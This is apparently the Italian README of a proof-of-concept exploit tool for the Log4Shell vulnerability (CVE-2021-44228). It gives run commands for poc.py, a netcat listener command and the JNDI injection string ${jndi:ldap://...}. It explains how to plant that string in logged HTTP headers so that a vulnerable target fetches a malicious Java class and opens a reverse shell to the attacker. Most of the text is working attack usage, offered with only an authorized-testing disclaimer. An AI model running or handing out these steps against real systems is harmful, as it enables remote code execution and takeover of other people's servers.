
Una Proof-Of-Concept per la vulnerabilità CVE-2021-44228.
Exploit proof-of-concept per la vulnerabilità Log4j (CVE-2021-44228), nota anche come Log4Shell. Questo strumento genera una classe Java dannosa, avvia un server di riferimento LDAP e serve il payload su HTTP, consentendo a un attaccante remoto di eseguire comandi arbitrari su un target vulnerabile.
poc.py:
jdk1.8.0_20/ – una copia di Oracle JDK 1.8.0_20 (contiene bin/javac e bin/java). Se manca, lo script tenterà di usare i comandi javac e java di sistema.target/marshalsec-0.0.3-SNAPSHOT-all.jar – il file JAR di marshalsec usato per avviare il server LDAP.jdk1.8.0_20 e il JAR di marshalsec come descritto sopra.pip install -r requirements.txt
Esegui lo script con Python:
python3 poc.py [OPZIONI]
Avvia un listener netcat sulla tua macchina attaccante (sostituisci 9001 con la porta scelta):
nc -lvnp 9001
Esegui l'exploit:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Se ometti --userip, lo script userà automaticamente l'indirizzo IPv4 primario della tua macchina.
Lo script mostrerà una stringa di payload da iniettare nel target vulnerabile, ad esempio:
${jndi:ldap://192.168.1.10:1389/a}
Inietta questa stringa in qualsiasi campo di input o header HTTP che viene registrato da un'istanza Log4j vulnerabile (ad es. User-Agent, X-Forwarded-For, ecc.). Il target si connetterà al server LDAP, recupererà la classe dannosa dal server HTTP ed eseguirà la reverse shell.
Dovresti vedere apparire una connessione shell nel tuo listener netcat.
Exploit.java contenente codice che apre una reverse shell verso userip:lport.javac di sistema).webport per ospitare il Exploit.class compilato./bin/sh ed è pensato per sistemi target Unix-like. Per target Windows, dovresti modificare il comando all'interno di Exploit.java.webport e lport) e che il target possa raggiungere la tua macchina.Lo script rimuove automaticamente Exploit.java e Exploit.class all'uscita (sia normalmente che dopo un KeyboardInterrupt). Se devi conservare i file per il debug, commenta il blocco finally in poc.py.
Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'uso non autorizzato di questo exploit contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test è illegale. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software.
| Argomento | Tipo | Predefinito | Descrizione |
|---|
--userip | stringa | IPv4 rilevato auto | Indirizzo IP a cui i server LDAP e HTTP si legheranno e che pubblicizzeranno. Deve essere raggiungibile dalla macchina target. |
--webport | intero | 8000 | Porta per il server HTTP che serve il Exploit.class compilato. |
--lport | intero | 9001 | Porta su cui il tuo listener netcat attende la reverse shell. Il payload si riconnetterà a userip:lport. |